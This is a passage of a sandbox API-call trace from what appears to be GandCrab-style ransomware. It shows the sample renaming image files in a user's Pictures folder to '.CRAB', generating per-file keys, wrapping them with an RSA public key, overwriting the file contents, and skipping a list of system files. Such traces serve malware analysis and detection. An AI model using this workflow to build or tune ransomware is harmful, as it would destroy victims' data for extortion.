	[0133.504] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f290) returned 1
	[0133.504] CryptGetKeyParam (in: hKey=0x320f290, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.504] CryptEncrypt (in: hKey=0x320f290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0133.504] GetLastError () returned 0x0
	[0133.504] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.504] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0133.506] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320ee50) returned 1
	[0133.506] CryptGetKeyParam (in: hKey=0x320ee50, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.506] CryptEncrypt (in: hKey=0x320ee50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0133.506] GetLastError () returned 0x0
	[0133.506] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0133.506] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\tsa 2y56qpg4qrafrw8u.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0133.506] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.507] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0133.507] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x8cc8, lpOverlapped=0x0) returned 1
	[0133.519] VirtualAlloc (lpAddress=0x0, dwSize=0x8cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.520] VirtualAlloc (lpAddress=0x0, dwSize=0x8cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.521] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.521] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff7338, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.522] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x8cd0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x8cd0, lpOverlapped=0x0) returned 1
	[0133.522] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.522] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.542] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.542] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.542] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0133.542] CloseHandle (hObject=0x3ec) returned 1
	[0133.542] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.542] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.543] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.543] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.543] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.543] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.543] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.544] lstrcmpW (lpString1="WxDe7hYNueKf.jpg", lpString2=".") returned 1
	[0133.544] lstrcmpW (lpString1="WxDe7hYNueKf.jpg", lpString2="..") returned 1
	[0133.544] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="WxDe7hYNueKf.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg"
	[0133.544] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.544] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg") returned 59
	[0133.544] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg") returned 59
	[0133.544] lstrlenW (lpString=".jpg") returned 4
	[0133.544] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.544] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0133.544] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.545] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg") returned 59
	[0133.545] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg") returned 59
	[0133.545] lstrcmpiW (lpString1="WxDe7hYNueKf.jpg", lpString2="desktop.ini") returned 1
	[0133.545] lstrcmpiW (lpString1="WxDe7hYNueKf.jpg", lpString2="autorun.inf") returned 1
	[0133.545] lstrcmpiW (lpString1="WxDe7hYNueKf.jpg", lpString2="ntuser.dat") returned 1
	[0133.545] lstrcmpiW (lpString1="WxDe7hYNueKf.jpg", lpString2="iconcache.db") returned 1
	[0133.545] lstrcmpiW (lpString1="WxDe7hYNueKf.jpg", lpString2="bootsect.bak") returned 1
	[0133.545] lstrcmpiW (lpString1="WxDe7hYNueKf.jpg", lpString2="boot.ini") returned 1
	[0133.545] lstrcmpiW (lpString1="WxDe7hYNueKf.jpg", lpString2="ntuser.dat.log") returned 1
	[0133.545] lstrcmpiW (lpString1="WxDe7hYNueKf.jpg", lpString2="thumbs.db") returned 1
	[0133.545] lstrcmpiW (lpString1="WxDe7hYNueKf.jpg", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.545] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.545] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg.CRAB") returned 64
	[0133.545] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\wxde7hynuekf.jpg")) returned 0x20
	[0133.546] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg", dwFileAttributes=0x20) returned 1
	[0133.546] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\wxde7hynuekf.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\wxde7hynuekf.jpg.crab")) returned 1
	[0133.547] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.547] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg.CRAB"
	[0133.547] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg.CRAB.CRAB"
	[0133.547] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0133.548] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.549] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.549] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.549] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0133.549] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.549] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.549] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0133.551] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.551] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.551] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.551] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0133.551] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.551] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.551] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.552] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.552] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0133.573] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f3d0) returned 1
	[0133.573] CryptGetKeyParam (in: hKey=0x320f3d0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.573] CryptEncrypt (in: hKey=0x320f3d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0133.574] GetLastError () returned 0x0
	[0133.574] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0133.574] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0133.575] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f410) returned 1
	[0133.575] CryptGetKeyParam (in: hKey=0x320f410, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.575] CryptEncrypt (in: hKey=0x320f410, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0133.576] GetLastError () returned 0x0
	[0133.576] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.576] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\WxDe7hYNueKf.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\wxde7hynuekf.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0133.578] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.579] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0133.579] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x39d2, lpOverlapped=0x0) returned 1
	[0133.591] VirtualAlloc (lpAddress=0x0, dwSize=0x39e0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.592] VirtualAlloc (lpAddress=0x0, dwSize=0x39e0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.592] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.593] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffc62e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.593] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x39e0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x39e0, lpOverlapped=0x0) returned 1
	[0133.593] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.593] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.597] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.597] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.597] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0133.597] CloseHandle (hObject=0x3ec) returned 1
	[0133.597] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.598] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.598] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.598] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.598] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.599] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.599] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.599] lstrcmpW (lpString1="XjL-kzufyJJ.gif", lpString2=".") returned 1
	[0133.599] lstrcmpW (lpString1="XjL-kzufyJJ.gif", lpString2="..") returned 1
	[0133.599] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="XjL-kzufyJJ.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif"
	[0133.599] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.599] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif") returned 58
	[0133.599] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif") returned 58
	[0133.599] lstrlenW (lpString=".gif") returned 4
	[0133.599] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.600] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0133.600] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.600] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif") returned 58
	[0133.600] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif") returned 58
	[0133.600] lstrcmpiW (lpString1="XjL-kzufyJJ.gif", lpString2="desktop.ini") returned 1
	[0133.600] lstrcmpiW (lpString1="XjL-kzufyJJ.gif", lpString2="autorun.inf") returned 1
	[0133.600] lstrcmpiW (lpString1="XjL-kzufyJJ.gif", lpString2="ntuser.dat") returned 1
	[0133.600] lstrcmpiW (lpString1="XjL-kzufyJJ.gif", lpString2="iconcache.db") returned 1
	[0133.600] lstrcmpiW (lpString1="XjL-kzufyJJ.gif", lpString2="bootsect.bak") returned 1
	[0133.600] lstrcmpiW (lpString1="XjL-kzufyJJ.gif", lpString2="boot.ini") returned 1
	[0133.600] lstrcmpiW (lpString1="XjL-kzufyJJ.gif", lpString2="ntuser.dat.log") returned 1
	[0133.600] lstrcmpiW (lpString1="XjL-kzufyJJ.gif", lpString2="thumbs.db") returned 1
	[0133.600] lstrcmpiW (lpString1="XjL-kzufyJJ.gif", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.600] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.601] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif.CRAB") returned 63
	[0133.601] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\xjl-kzufyjj.gif")) returned 0x20
	[0133.601] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif", dwFileAttributes=0x20) returned 1
	[0133.601] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\xjl-kzufyjj.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\xjl-kzufyjj.gif.crab")) returned 1
	[0133.602] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.602] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif.CRAB"
	[0133.602] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif.CRAB.CRAB"
	[0133.602] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0133.608] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.608] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.609] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.609] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0133.609] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0133.609] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.609] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0133.610] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.610] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.611] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.611] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0133.611] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.611] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.611] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.611] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.612] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0133.613] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f450) returned 1
	[0133.613] CryptGetKeyParam (in: hKey=0x320f450, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.613] CryptEncrypt (in: hKey=0x320f450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0133.613] GetLastError () returned 0x0
	[0133.613] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.613] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0133.614] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320ee10) returned 1
	[0133.615] CryptGetKeyParam (in: hKey=0x320ee10, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.615] CryptEncrypt (in: hKey=0x320ee10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0133.615] GetLastError () returned 0x0
	[0133.615] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.615] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\XjL-kzufyJJ.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\xjl-kzufyjj.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0133.615] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.616] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0133.616] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x1c88, lpOverlapped=0x0) returned 1
	[0133.628] VirtualAlloc (lpAddress=0x0, dwSize=0x1c90, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.628] VirtualAlloc (lpAddress=0x0, dwSize=0x1c90, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.629] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
